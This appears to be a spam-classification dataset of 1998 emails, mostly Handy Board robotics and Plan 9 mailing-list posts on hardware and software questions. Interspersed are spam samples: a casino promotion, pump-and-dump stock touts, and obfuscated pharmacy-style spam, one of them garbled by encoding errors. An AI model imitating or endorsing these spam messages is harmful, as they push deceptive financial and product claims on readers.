detect a lit candle.. In addition I am also wondering what the best way would be to wire up two IR emitters for left and right detection on the handyboard, however I know that there is a socket already for an IR led, but wonder if I could hookup two IR emitters..... The other thing that I am wondering about is this, the photo resistors work fine for detecting light/dark areas, (I have a pair of rug warrior pro robots that do this now), but they dont seem to be able to effectively detect a lit candle, unless the area the robot is in is dark in general. This is why I am hoping that the eltes 442-3 sensor would be a better choice to detect a lit candle... Any links/information GREATLY appreciated. ",0,0 Ben Wirz ,PICLIST@MITVMA.MIT.EDU,"Mon, 18 May 1998 21:27:43 -0400",Wirz Electronics Summer Sale - Only 2 Days Left,"Hello, There are only two days left to take advantage of our 20% discount on all SimmStick prototyping boards and kits. This includes all Microchip PIC and Atmel microcontroller boards and programmers, as well as our extremely popular PIC Starter Packages. The PIC Starter Packages are an ideal way for the PIC Newcomer to plunge into microcontroller programming, or for an experienced programmer to migrate to a new processor. Wirz Electronics' Homepage: http://www.wirz.com/ SimmStick Index: http://wirz.com/simmstick/ PIC Starter Packages: http://wirz.com/pic/package.html Offer Valid: May 6th to May 20th, 1998 on orders placed via our secure online order form or by fax only. Mention Internet Special #1291 for the discount. Sincerely, Ben Wirz ben@wirz.com Owner, Wirz Electronics ",0,1 michaelj@wt.net,Handyboard ,"Mon, 18 May 1998 22:59:17 -0500",Re: RC Servo motor internal electronics,"Ideally, I could use an H-bridge on the same board as the ""new"" electronics and provide expanded feedback such as current sensing or encoder in addition to the normal servo interface. It would also be nice to allow PWM to control the power presented to the motor. The real clincher is understanding how to turn the signal pulse length into something useful I can deal with and compare to the output of an encoder or pot. I've already thought through using an oscillator and counters with a oneshot timer to generate continuous PWM by just having the CPU write to a couple of memory locations that would be latched as control registers. This offloads the PWM control from the CPU, except to establish parameters. Mike -----Original Message----- From: Mike Downey To: michaelj@wt.net Date: Monday, May 18, 1998 6:09 PM Subject: Re: RC Servo motor internal electronics >I have heard of several people using the actual boards out of hobby >servos to interface to a much larger motor. The board is obviously using >a low current transistor to power the motor in the servo, however you >could probably interface the output directly out of that to drive a much >higher current power transistor. How many amps do you need to drive? >",0,0 """Bernd.Klein"" ","""handyboard@media.mit.edu"" ","Tue, 19 May 1998 09:34:18 +0200",Problems with new Smooth-PWM-Pcode,"Hi all, i have problems during download the new smooth-pwm routine into my handyboard. All times my downloader stopped after few seconds with an error message ""EOF after 1xxx Bytes ....."" I had download the sourcecode and the zip file from internet. I get the same error message. I´m using a macintosh (PPC 4400) and use the 6811 download utility. Is it possible to get an ICB-smooth-pwm-pcode ? Thank´s for help bye Bernd Klein ",0,0 Arthur Tretyak ,handyboard@media.mit.edu,"Tue, 19 May 1998 15:00:04 -0500",Addresses of SPI ports,"Hello. I was wondering if anyone knows all 4 addresses for all 4 ports of SPI header. Thank you -- ************************************* * Arthur Tretyak * * or just Arturchik * * a-tretyak@nwu.edu * ************************************* ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Tue, 19 May 1998 20:18:12 -0400",important update to Handy Board standard libraries.,"Hi all, There has been a bug lurking in the Handy Board standard library files since the dawn of time (well, 1996, when the HB got started). The bug can happen when you are using multi-tasking, and more than one IC task is performing analog sensor readings, or if you have loaded drivers that may perform analog conversions (e.g., the shaft encoder utilities). In the subroutine in lib_hb.c which performs analog readings (_raw_analog), it is possible for another process (either an IC process or an assembly language driver) to interrupt the analog conversion, in between the time when the analog channel is selected and the result is read back. If the interrupting process performs an analog conversion of its own, when the interrupted subroutine gets control back, it reports the later reading rather than the one it started. I've posted an updated version of the libraries that fix this problem. A short assembly language driver performs the basic analog read function. Interrupts are disabled during the span between the selecting the analog channel and reading the result. I recommend that everyone download and install these new drivers. Aside from fixing this intermittent bug, the new driver is faster and smaller. To download, please see the Handy Board home page: http://el.www.media.mit.edu/projects/handy-board/ Let me know if you have any questions or concerns. Fred P.S. Thanks to Ericson Mar and Rick Freuler for noticing and reporting this problem. ",0,1 """Michael S. Reiling"" ",handyboard@media.mit.edu,"Tue, 19 May 1998 18:52:54 -0700",Motors,"Anyone have the Wirez electronics motor driver board? Are you supposed to solder on both the L293Ds and the LMD18200s? Or is it just one or the other? Thanks, Mike ---------------------------------------------------------------- Mike Reiling macman@inreach.com University of the Pacific Student of Computer Science One tequila, two tequila, three tequila, floor. ---------------------------------------------------------------- ",0,0 Darkman ,"""Michael S. Reiling"" ","Tue, 19 May 1998 22:47:53 -0400",Re: Motors,"It's one or the other. Michael S. Reiling wrote: > Anyone have the Wirez electronics motor driver board? Are you supposed to > solder on both the L293Ds and the LMD18200s? Or is it just one or the > other? > > Thanks, > Mike > > ---------------------------------------------------------------- > Mike Reiling > macman@inreach.com > University of the Pacific > Student of Computer Science > > One tequila, two tequila, three tequila, floor. > ---------------------------------------------------------------- ",0,0 ,,,,"0; Tue, 19 May 98 22:55:12 EDT Received: from ml.media.mit.edu (ml.media.mit.edu [18.85.13.107]) by aleve.media.mit.edu (8.8.7/ML970927) with ESMTP id WAA12337 for ; Tue, 19 May 1998 22:55:10 -0400 (ED T) Received: (from vigoda@localhost) by ml.media.mit.edu (8.8.7/8.8.7) id WAA26427; Tue, 19 May 1998 22:55:09 -0400 (EDT) Date: Tue, 19 May 1998 22:55:09 -0400 (EDT) From: Benjamin Vigoda To: babbage@media.mit.edu Cc: lizv@wsg.net, dvigoda@wsg.net, moreson@wsg.net Subject: physics and computation seminar Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII 1) we made a mailing group alias - babbage. after one of the first persons to talk about how to do computation in a physical system. 2) members so far: edward boyden, ben vigoda, yael maguire, ebeth haley and rich devaul. 3) yael and edward and I would like to start meeting next week. how about the same traditional wednesday afternoon, since we know that is free, and is most likely not to get interfered with by any long summer weekends? 1pm still okay? 4) I assume we can use 054. 5) I propose to run it exactly like a Swarthmore honors seminar: on a given week we pose some problem(s) like the ones below. then we take it as homework along with a bibliography (provided by Neil G. and us) of relevant reading and try to solve it. One person (round robin) is named presenter for the following week. They will have to give a 1/2 hr. talk to assimilate the material for everyone else and be able to lead the other people through the solution to the problems. They will be like the professor for that week. Then we get together and the presenter talks, and then we talk through the problems. If that is too much pressure on the presenter, we could assign one person If that is too much pressure on the presenter, we could assign one person to present each problem in advance. alternately we could do it just like P.I.T. whatever you folks prefer. The assignment for this coming wednesday is to come prepared with a list of problems you are interested in and a modestly researched bibliography to go with each one. some sample problems: a) can you build a computer with two classical electron charges and how? b) if you have a function f(x) does it take energy to compute it? c) how much energy does it take to compute ax+b, x^2, x^3, exp(x), etc. d) what is the relationship between the degrees of freedom in a system and it's computational power? e) what did shannon say about entropy and information? f) what is the behavior of different types of matrices when you mulitiply by them iteratively? (pet ben problem) g) what is the relationship between nonlinearity and computation? (we know the answer already, do you?) h) how does shor's algorithm work? what are the candidate areas for new quantum lagorithms? i) why would nonlinearity in quantum physics lead to the ability to CA turing machine? is it provable? do you? j) what is the curse of dimensionality? k) what is the blessing of dimensionality? l) what is all that nonlinearity inside the parameters versus outside the parameters stuff? a la Andrew Barron paper... m) How can we understand what AFSR is doing? (ben pet problem) n) given a *>nonlinear<* differential equation, CA, etc system evolving in time, is there always a way to analytically to find the state of the system at arbitrary time and are we just too stupid to find it? Why do we always have to simulate nonlinear systems in order to observe their behavior? Why can we always find an analytical soultion to a linear system that gives us the state at arbitrary time in the future? what does this all have to do with the halting problem? (we know the answer, do you?) 0) what about a state space/ lag space tells you if a system is a physical system or a computer? what do you have to do the lag space/ state space of a system to make it into a computer? p) embedding: why is the number of relevant lags in a lag space equal to the number of degrees of freedom of a system? q) construct a minimal CA turing machine. what is the smallest possible CA turing machine? is it provable? r) can one build a microwave oven that refrigerates instead of heats? how? s) what does charlie bennet have to say? r) can one build a microwave oven that refrigerates instead of heats? how? s) what does charlie bennet have to say? t) what does strang have to say? u) what is the difference between a classical CA and a quantum CA? v) what is a quantum CA? wzxy.... ------------------------------------------------------------------ It's funny funny funny how a bear likes honey, buzz buzz buzz I wonder why he does? _Pooh Benjamin Vigoda vigoda@media.mit.edu MIT Media Labs, E15-489, 20 Ames Street, Cambridge, MA, 02139 office phone: 253-9465 lab phone: 253-2383 home: (617) 576-9322 home home: (518) 439-4457 ------------------------------------------------------------------ /////////////////////////////////////////////\\ ------------------------------------------------------------------",0,0 Jun Nolasco ,"""Fred G. Martin"" ","Tue, 19 May 1998 23:17:46 -0400",Re: important update to Handy Board standard libraries.,"Fred, How does the fix affect IC3.2? Jun Nolasco nolasco@inx.net Fred G. Martin wrote: > Hi all, > > There has been a bug lurking in the Handy Board standard library files > since the dawn of time (well, 1996, when the HB got started). ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 20 May 1998 00:09:02 -0400",Re: important update to Handy Board standard libraries. ,"> How does the fix affect IC3.2? you should download and install the new lib files. fred > > > Jun Nolasco > nolasco@inx.net > > > Fred G. Martin wrote: > > > Hi all, > > > > There has been a bug lurking in the Handy Board standard library files > > since the dawn of time (well, 1996, when the HB got started). > > > > ",0,0 """Michael S. Reiling"" ",handyboard@media.mit.edu,"Tue, 19 May 1998 21:54:56 -0700","Motors, Part 2","Ok, I now realize that I only need one or the other motor driver. Now here is the problem. Nothing happens. I type fd(0); in IC and the motors do noting. I have pin 3 of the Wirz board going to pin 1 of the HB motor driver socket. Pin 7 of the Wirz board goes to pin 2 of the HB. Pin 5 is tied low. Am I missing something here? The motors just make weird noises and nothing happens. HELP! ---------------------------------------------------------------- Mike Reiling macman@inreach.com University of the Pacific Student of Computer Science One tequila, two tequila, three tequila, floor. ---------------------------------------------------------------- ",0,0 Thomas Hauri ,Arthur Tretyak ,"Wed, 20 May 1998 09:28:56 +0200",Re: Addresses of SPI ports,"Hi The SPI Header is connected to port D of the hc11 as follows: Port D Bit 2 - PD2 - MISO Port D Bit 3 - PD3 - MOSI Port D Bit 4 - PD4 - SCK Port D Bit 5 - PD5 - SS All of those pins can be used for general-purpose I/O signals. To program port D you have the following registers: * DDRD (Data Direction Register Port D) $1009 For output set the corresponding bit to 1. All bits 0 (input) after reset. * PORTD (POrt D Data) $1008 Read or Write data through this register. * SPCR (Serial Peripheral Control) $1028 Make sure that the SPI is turned off. Bit 7 and Bit 6 of this register must be cleared (0). Bit 7 - SPI interrupt Bit 6 - SPI enable With bit 5 (DWOM) you can control the Port D mode (Port D Wired-OR Mode option) DWOM = 0 Normal CMOS outputs DWOM = 1 Open-drain outputs For further information about port D please refer to the HC11A8 technical manual. http://www.mcu.motsps.com/cgi-bin/Lit?Table=HC11&Type=USER it's the pdf or ps file MC68HC11A8/D Hope that helps. Tom > Hello. I was wondering if anyone knows all 4 addresses for all 4 ports of > SPI header. Thank you > -- > ************************************* > * Arthur Tretyak * > * or just Arturchik * > * a-tretyak@nwu.edu * > ************************************* ",0,1 Mark Limb ,"Arthur Tretyak , ""handyboard@media.mit.edu"" ","Wed, 20 May 1998 18:05:39 +1000",Re: Addresses of SPI ports,"Hi Arthur, The SPI expansion header is shown below: ---------- Pinouts: 1 Gnd | 2 | 1 | 2 Vcc 5V | 4 | 3 | 3 SS* | 6 | 5 | 4 MISO | 8 | 7 | 5 SCK ---------- 6 MOSI 7 & 8 Not connected I assume you will be using the Handy Board as a MASTER device not a SLAVE so the following information relates to the SPI MASTER mode. Port D address is $1008 The SS* pin is connected to Port D5. It is active low and is used to activate the external device, like a chip select pin. The MISO pin is connected to Port D2. It is used to serially input data to the SPI. This pin should be connected to the Data Out of the external device. The SCK pin is connected to Port D4. It is used to clock the data from the SPI data register into the external device via the MOSI pin. As data is outputted it is simultaneously inputted to the SPI data register from the external device. So after one 8bit transfer the SPI data register will contain the output from the external device. This pin should be connected to the clock of the external device. The MOSI pin is connected to Port D3. It is used to serially output data from the SPI. This pin should be connected to the Data In of the external device. You should set the DDRD ($1009) pins for I/O according to the function of the SPI, ie the SCK (PD4) should be set for output using the DDRD. The SPI control register ($1028) is used to set the configuration for the SPI, bits are as follows: 7 SPI interrupt enable 6 SPI system enable (Must be set) 5 wired OR mode select, (Clear it, unless you know what it does) 4 Master/Slave select, (Set for MASTER Mode) 3 Clock polarity (clear for SCK low idle) 2 Clock phase select (clear for most devices) 1,0 Bit rate (clear both for maximum transfer rate, E clock/2) SPI status register ($1029) just shows flags of the current SPI status bits are as follows: 7 SPI transfer complete flag 6 Write collision error flag, (set only if SPDR is written during a data transfer) 5 Not used 4 Mode fault error flag, (Set if SS* is sent low by external device) 3,2,1,0 Not Used The Most important register is the SPI data register ($102A). This is where you put your 8bit data block which you want sent through the SPI to the external device. After a transfer you can read this register to access the information sent from the external device. I hope this info has been helpful Joshua Wherrett Arthur Tretyak wrote: > Hello. I was wondering if anyone knows all 4 addresses for all 4 ports of > SPI header. Thank you > -- > ************************************* > * Arthur Tretyak * > * or just Arturchik * > * a-tretyak@nwu.edu * > ************************************* ",0,0 Elliott.Hughes@genedata.com,9fans@cse.psu.edu,"Wed, 20 May 1998 11:53:38 +0200",[9fans] u9fs and _conform.map,"Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Has anyone altered u9fs to use _conform.map? I want to boot a Sun (an IPC: there seem to be a lot of them about all of a sudden!) from a Unix machine, at least until I get the Sun's disc sorted for Plan 9. If not, I suppose I could get the mangled names onto the Sun's disc and then go through the filesystem correcting them after the fact. Comments? -- http://users.ch.genedata.com/~enh/ ",0,1 Russ Cox ,9fans@cse.psu.edu,"Wed, 20 May 1998 08:45:52 -0400",re: [9fans] u9fs and _conform.map,"I had a similar problem a couple months ago and solved it with disk space. I copied the entire CD onto a Unix disk and then did something approximately: cat _conform.map | sed 's/^F/f/g;s/^D/d/g' | sort > $HOME/conform.map % cat $HOME/fix #!/bin/sh for i in * do if test -d $i (cd $i; $HOME/fix) done for i in d00* f00* do x=`look $i $HOME/conform.map` mv $i $x done % cd $HOME/plan9cd % $HOME/fix which worked pretty well. A warning: I just typed that shell script on the fly while writing this message. I can't find the one I used when I did it, but that conveys the basic gist. ",0,0 Skye Legon ,fredm@media.mit.edu,"Wed, 20 May 1998 09:43:43 -0400",Re: important update to Handy Board standard libraries.,"Will this new lib_hb.c also replace the Smooth PWM lib_hb.c released by Newton Labs? It appears not. What is the easiest way to consolidate the Smooth PWM routines with your improved analog code? Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 Steve Kotsopoulos ,9fans@cse.psu.edu,"Wed, 20 May 1998 10:02:51 -0400",Re: [9fans] u9fs and _conform.map ,"Grab ftp://ftp.ecf.toronto.edu/pub/plan9/steve/fixit It will convert the filenames for you. ",0,0 Steve Kotsopoulos ,9fans@cse.psu.edu,"Wed, 20 May 1998 10:26:56 -0400",Re: [9fans] u9fs and _conform.map ,"I wrote: > Grab ftp://ftp.ecf.toronto.edu/pub/plan9/steve/fixit > It will convert the filenames for you. sorry, that script was for the 1993 release, so it might not work. ",0,0 """Fred G. Martin"" ",Skye Legon ,"Wed, 20 May 1998 11:01:21 -0400",Re: important update to Handy Board standard libraries. ,"> Will this new lib_hb.c also replace the Smooth PWM lib_hb.c released > by Newton Labs? It appears not. What is the easiest way to consolidate > the Smooth PWM routines with your improved analog code? You must manual consolidate the new driver with the smooth-pwm libraries. To consolidate, 1. edit the smooth-pwm lib_hb.c, and remove the function ""_raw_analog()"", 2. install the new lib_hb.icb file in your IC lib directory (this contains the assembly-language replacement for _raw_analog), and 3. add lib_hb.icb to your lib_hb.lis master library file. Fred ",0,0 Elliott.Hughes@genedata.com,9fans@cse.psu.edu,"Wed, 20 May 1998 17:55:06 +0200",Re: re: [9fans] u9fs and _conform.map,"> I had a similar problem a couple months ago and solved > it with disk space. Thanks (to everyone else, too). Now I'm off to ""create a kfs on sd1"". I wish I'd got into this when forsyth was a two-minute walk away! [Logging in to Plan 9 as none this afternoon made me quite nostalgic.] -- http://users.ch.genedata.com/~enh/ ",0,1 Green Table Casino ,asomar@ccat.sas.upenn.edu,"Wed, 20 May 1998 19:07:27 -0600",Green Table Hot News!,"Green Table Hot News Green Table Hot News! New Players get up to $300 FREE in Welcome Bonuses at Green Table. Featuring 71 Award Winning Games, LIVE DEALERS, Fast Download & Flash versions, Fast Payouts, Huge Jackpots, & Better than Vegas odds - how can you resist? Solid, Reliable & Respectable with 100% Security, Privacy & 24/7 support. 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Leff and Andrew F. Rex"", title = ""Maxwell's Demon: Entropy, Information, Computing"", address = ""Princeton, N.J."", publisher = ""Princeton University Press"", year = ""1990"" > 1) we made a mailing group alias - babbage. after one of the first > persons to talk about how to do computation in a physical system. Great. > 3) yael and edward and I would like to start meeting next week. how > about the same traditional wednesday afternoon, since we know that is > free, and is most likely not to get interfered with by any long summer > weekends? 1pm still okay? > > 4) I assume we can use 054. 054 is out for the summer, but 095 is available. Check with Susan to reserve it. I have a lot of summer travel, otherwise will be pleased to come then. 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Thanks Sebastien ",0,0 Wade Jenkins <�!>,handyboard@media.mit.edu,"Fri, 22 May 1998 21:11:27 -0100",Mary has liked reading,"Heads Turn As IZON Makes Big Turn InZon Corp. annouced last month its development of a new technology that will allow large Tier 1 and Tier 2 providers to reduce there bandwidth requrments, allowing them to better utilize ther networks and incresae overall profits. Exposure of there technology to the market has generated a great deal of interest and word on the street is that they are preparing a announcment concerning several large contracts with major providers, giving them a huge competative jump in the market. take a look at the annoucement and reveiw the technology, but grab some IZON Tuesday before they drop the release to push this stock to the dollar marker. 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I could not found the reference book where this infomation is come from, so does anyone know anything about this and explain to me please? ",0,1 Mark Sokhwee Kim ,handyboard@media.mit.edu,"Sat, 23 May 1998 08:52:01 -0500",Board not responding,"Hi! The handy board was working good before and I haven't used the board for a while. Recently, I ran the downloader few times, but I couldn't download the bootstrap. I think the download mode is ready, but the error message like ""Board not Responding"" is repeating(I know the downloading procedure). I believe there must be something wrong on chips. I remember one time I got a short around the reset switch while I was measuring the current. I still wonder why a short was made on the reset switch. There was a confusing LCD readout like blinking few times. Since that time, I could use it without any trouble till now. 1. Any possible way to check that some chips are not properly functioning? 2. If U1 is wrong, any handy source for purchasing U1? Best Rerards, Mark ",0,0 Wong Sy Ming ,mskim@mpdr0.chicago.il.ameritech.net,"Sat, 23 May 1998 23:35:54 +0800",Re: Board not responding," Mark Sokhwee Kim wrote: > Hi! > > The handy board was working good before > and I haven't used the board for a while. > Recently, I ran the downloader few times, > but I couldn't download the bootstrap. > I think the download mode is ready, but > the error message like ""Board not Responding"" > is repeating(I know the downloading procedure). > I believe there must be something wrong on chips. > > I remember one time I got a short around the reset > switch while I was measuring the current. I still > wonder why a short was made on the reset switch. > There was a confusing LCD readout like blinking > few times. Since that time, I could use it without > any trouble till now. > > 1. Any possible way to check that some chips are > not properly functioning? > 2. If U1 is wrong, any handy source for > purchasing U1? > > Best Rerards, > > Mark > The most probable cause of this is a dead 6811. (it spoils rather easily... :(Because everytime i have a problem with the board, it turns out to be nothing more than a shot 6811. Even replacing the 7805 with a LM2931T kills it. ",0,0 Glenna Molina ,handyboard@media.mit.edu,"Sat, 23 May 1998 20:00:45 -0200","[fwd] Put CGDC on your radar's now. This stock shows a significant up in stock price and sometimes in days, not months or years.","CHINA GOLD CORP Symbol: CGDC Current Price: 2.14 A Company engaged in gold and minerals exploration and development of gold and mineral properties in China. Why consider CHINA GOLD CORP (CGDC)? Seee n0wadays what happened. ∙ Rising gold prices are further accelerating this gold rush - The price of gold has up 250% over the past five years, and this is still only a quarter of when the price peaked 25 years ago. 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Best Rerards Diego ",0,0 Mike Davis ,handyboard@media.mit.edu,"Sun, 24 May 1998 08:53:16 +0000",Pad sizes and hole sizes,"I'm working on a board and I would like to avoid much trial and error. I have read much on selection of pad sizes/via sizes and hole sizes but there seems to be some contridiction. Does anyone know what the pad sizes (for ICs), hole sizes (for ICs) and via size/hole size, used on the handy board. This would be a good starting point. I have looked at the gerber files and it looks like: Pad sizes: .060 Hole size: .035 Via size: .050 via hole size: .028 But looking at the board, the sizes seem smaller than the sizes in the gerber files. For instance, the via sizes look like they can easily fit between pads on the ICs. If pad sizes were .060 on ICs, then the space between them should be .04 and a via would be 10mils larger than that space. But they appear to easily fit between them. Does anyone know what the actual pad/hole sizes are for IC pads and vias? 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Thank you, Fred Martin ",0,0 Anacletus Lemay ,handyboard@media.mit.edu,"Sun, 24 May 1998 10:50:25 -0700",Re: good CdtALlS,"Hi, X c A b N v A a X u V g A p L k I i U g M d V v I f A j G f R f A s C m I a A h L k I e S i http://www.offerrooga.com hurra principl egois consumptio illustriou airhead who bore him. ... However, we stray. My French pureblood here has his own reasons-obviously based on betrayal-for cooperating with you. I have equally strong reasons for wanting to help you, too, but I must also consider myself. My aged new friend can go back and live whats left of his life in Paris, whereas I have no place to go but Boston and the few opportunities Ive developed over the years to eke ",1,1 Kristen Provo ,handyboard@media.mit.edu,"Sun, 24 May 1998 15:52:04 -0700",Re: your VALvtUM,"Hi Look, this information might be pretty interesting for you C P V V X L A I r A I a e m A o L A n v b L z I G a i i I a U R x t e S c M A ra n http://www.lanseislan.com Messrs. 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I have not hooked up the 2.5v reference wire, however I thought I had read something to the effect that it was not used, which I think I am wrong. IF I do have to hook up the 2.5v reference wire, what's the best way to do this??? Would you possibly have the drivers for the pyro sensors?????? I know that right now, with IC 3.2, if I do a reading by typing analog(0);, the values do not seem very stable, however when I put a candle about a foot away from it, the analog(0) reading goes down to 6-10, after a little but however, it does change by up to as much as 126.. Any direction would be greatly appreciated. ",0,0 Rico Calloway ,handyboard@media.mit.edu,"Tue, 26 May 1998 03:01:33 -0500",putting stress on a backburner,"in over it dominique some candle see argillaceous or transept ",1,0 Sebastien Verreault ,handyboard@media.mit.edu,"Tue, 26 May 1998 09:30:05 -0400",Which R4 should I use???,"I notice that in hbmanual.pdf there is a different value for R4 than in hba.pdf since I used the list of hbmanual, I bought R4=2.94k precision resistor, but in the asembly file it says 3.83k precision resistor. Which one is the good one and why need I a precision resistor if the value can differ that much? Sebastien vers01@gel.usherb.ca ",0,0 jluijk ,'Handyboard Mailing List' ,"Sun, 26 May 1996 19:25:39 +0100",Polaroid 6500,"Hi, I am trying to install the polaroid 6500. I use the schematics I found with the sonar.c file at this site. It doesn't work, I dont understand the Motor power connection why does it have 4 pins ? One motor only uses 3 pins ? I think the sonar device doesnt get enough voltage, I only measure around 0.5 volts ? Does the striped side of the ribbon-cable goes in number 1 of the socket on the polaroid board ? (etc. etc.). Who can help me and give me some tips and tricks ? I really want to see this thing working ! Thanks, Jan Luijk. ",0,0 DUANE HUSTED ,"karen locker , handyboard@media.mit.edu","Tue, 26 May 1998 17:10:52 -0500",Re: unsubscribe," ---------- > From: duane husted>husted84@gte.net> To: handyboard@media.mit.edu > Subject: unsubscribe > Date: Sunday, May 24, 1998 5:44 AM > > unsubscribe ",0,0 DUANE HUSTED ,"Fred Martin , handyboard@media.mit.edu","Tue, 26 May 1998 17:12:44 -0500",Re: please unsubscribe me,"---------- > From: Fred Martin > To: handyboard@media.mit.edu > Subject: HOW TO UNSUBSCRIBE > Date: Sunday, May 24, 1998 4:17 PM > > Greetings, > > This is the periodic friendly reminder that in order to unsubscribe, you > must send an email to fredm@media.mit.edu asking thusly. > > Again, the method for unsubscribing is: 1. write an email saying > ""please unsubscribe me""; 2. send it to fredm@media.mit.edu. > > Please save this message in case you may need it in the future. > > Thank you, > Fred Martin",0,0 Will ,Handyboard Mailing List ,"Wed, 27 May 1998 08:40:08 -0600",Re: Polaroid 6500,"jluijk wrote: > I am trying to install the polaroid 6500. > I use the schematics I found with the sonar.c file at this site. > It doesn't work, I dont understand the Motor power connection why does > it have 4 pins ? The two on the left are + battery voltage and the two on the right are ground. They're doubled up to handle more current, I guess. > I think the sonar device doesnt get enough voltage, I only measure > around 0.5 volts ? Make sure that you're getting 9.6 V at the motor power header, and that you have your six diodes (to drop the voltage from 9.6 V down to 6.0 V) wired up with the correct polarity. > Does the striped side of the ribbon-cable goes in number 1 of > the socket on the polaroid board ? (etc. etc.). The two ribbon cables that I got with my pair of sonar modules had the stripes wrong (one had the stripe on the pin 1 conductor and the other on pin 9), so you should check that yours are hooked up correctly regardless of the stripe. With the cable coming straight up out of the sonar module, make sure the shape of the plug matches the shape of the footprint of the board connector J1 (i.e., four pins on the top and five pins on the bottom, when the board is viewed ""right side up"" relative to the printing on it). Note: I'm not an authority on sonar; I haven't gotten mine to work yet, either. Good luck. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If the world were a logical place, Will Bain, men would ride sidesaddle. & Tatoosh --Rita Mae Brown",0,0 ksulliva@mail.phila.k12.pa.us,asomar@BABEL.ling.upenn.edu,"Wed, 27 May 1998 10:56:22 -0500",Poetry from Bethune School," Dr. Omar Jina langu ni Gapheth Allen You are nice You are small You are sweet You are kind Wako, Gapheth Allen - 214 Mei 27, 1998 ",0,0 Skye Legon ,handyboard@media.mit.edu,"Wed, 27 May 1998 11:57:52 -0400",IC persistent globals?,"Hello all, I am using neural nets to control my robot, and currently have to download the weights to the handyboard every time I power on. This is a perfect application for using persistent global variables, but alas I am having troubles. My smallest network consists of 21 floats (84 bytes), but if I try to make more than 14 or 15 floats (56-60 bytes) persistent (it seems to depend on whether they are arrays or not) I get the friendly message ""Board Syncronization Error"", which I interpret as ""Out of Persistent Global Space."" Does anybody know the size of this persistent global space? If indeed it is about 60 bytes, are there any known workarounds? (e.g. can I write the weights to an unused part of RAM and somehow grab the values when I start up?) Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 """E. Baeck"" ",handyboard@media.mit.edu,"Thu, 28 May 1998 13:09:14 +0100",Datasheet for TI IC,"Hi ! I am searching for the data sheet of a TI speechprocessor TMS3477 (I have the board of a little speech recorder with 90 seconds capacity and max. 16 speech segments with this chip and I will try to connect this board to the Handy Board for a Rug Warrior with speech capability). Any help would be greatly appreciated. Thanks, Erwin ----------------------------------------------- Real Name : Erwin Baeck - Graz, Austria, Europe Email Address : erwin.baeck@styria.com or if that fails erb@computerhaus.at Phone + Fax Number : ++43 316 473109 ----------------------------------------------- ",0,0 Weldon Duran ,handyboard@media.mit.edu,"Thu, 28 May 1998 12:57:18 -0500",It's Weldon Duran dchar," Current widget for folks 27 http://69xanthaline.info > > > in case 9311605 setbm onto lezw > > > pranced onto phagi 908318 ",1,1 ��ö�� <9gji90dfgio7jo@daum.net>,handyboard@media.mit.edu,"Thu, 28 May 1998 16:49:05 -0500",===========> ���õ� ���� �����ǽô� ��... ���� ��̰� ����� �帮�ڽ��ϴ�.... <--------,"������ ������ ������^^ ���� ���������� �������� ���� �������� ������ ������ ��������. ������ ���� ���� �� ��������, ���� �������� �� ����������. ������ ������ �������� �������� ������ ���� �������� ������ ��������. ������ ������ �� ������ ������ ���� ������, �������� ���� ��������. ����������. ������, ���������� ������ ���� ��������. 24���� ������ ������ ��������. ���������� ������ �������� ���� ��������. �������� ������ ���� ������ ���� ������ ���� ������ ������������. ����(����)���� �������� �� ������. �������� ������ ���� ������. ������ �������� �� : 8282gogo@gmail.com * ���� * (���� �������� ����������) �������� 100mg (5,10,30) ---> 0 ��(��) �������� 100mg (5,10,30) ---> 0 ��(��) �������� 20mg (5,10,30) ---> 0 ��(��) ��������SET (9�� 1SET) ---> 0 SET * ������ * (������ ������ ������) ������ : �������� : �������� : ������ 1 : ������ 2 : �������� �� �������� ���� ���� : ������ �������� �� : 8282gogo@gmail.com �������� �������� �� : 99jisong@gmail.com * ���������� ������ ���� ��������. ���� �������� ����������.    ������ ���� ������������ ����������. �������� ���� ������.   �������� �������� �� : 99jisong@gmail.com   �������� �������� ����������, ���� 24���� ������ ������ ������ ���� ��������.",1,1 brian-c@technologist.com,handyboard@media.mit.edu,"Thu, 28 May 1998 23:44:23 -0400",Battery types,"...was just wondering if the Handy-Board can run on other types of batteries besides Ni-Cds, such as: NiMH batteries which have higher mAh ratings vs. a Ni-Cd equivalent. Also, will Lithium batteries work with the HB? Are there any performance differences to the HB if you run it on 7.2 volts instead of 9.6 volts? From what I've heard the voltage regulator (7805) regulates anything from 6-18 volts down to the 5 volts for the circuit. If this is so, why was 9.6V decided on? _________________________________________________ ������������������������������������������������� Brian Carvalho [ brian-c@ieee.org ] DeVRY Institute New Jersey _________________________________________________ ������������������������������������������������� --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Darkman ,"brian-c@technologist.com, handyboard@media.mit.edu","Fri, 29 May 1998 09:37:19 -0400",Re: Battery types,"I personally use a single 12 V 3Ah Gell cell to power my entire robot. I'm using the 7805 with a heat sink and works just fine. -----Original Message----- From: brian-c@technologist.com To: handyboard@media.mit.edu Date: Friday, May 29, 1998 12:16 AM Subject: Battery types >...was just wondering if the Handy-Board can run on other types of batteries besides Ni-Cds, such as: NiMH batteries which have higher mAh ratings vs. a Ni-Cd equivalent. 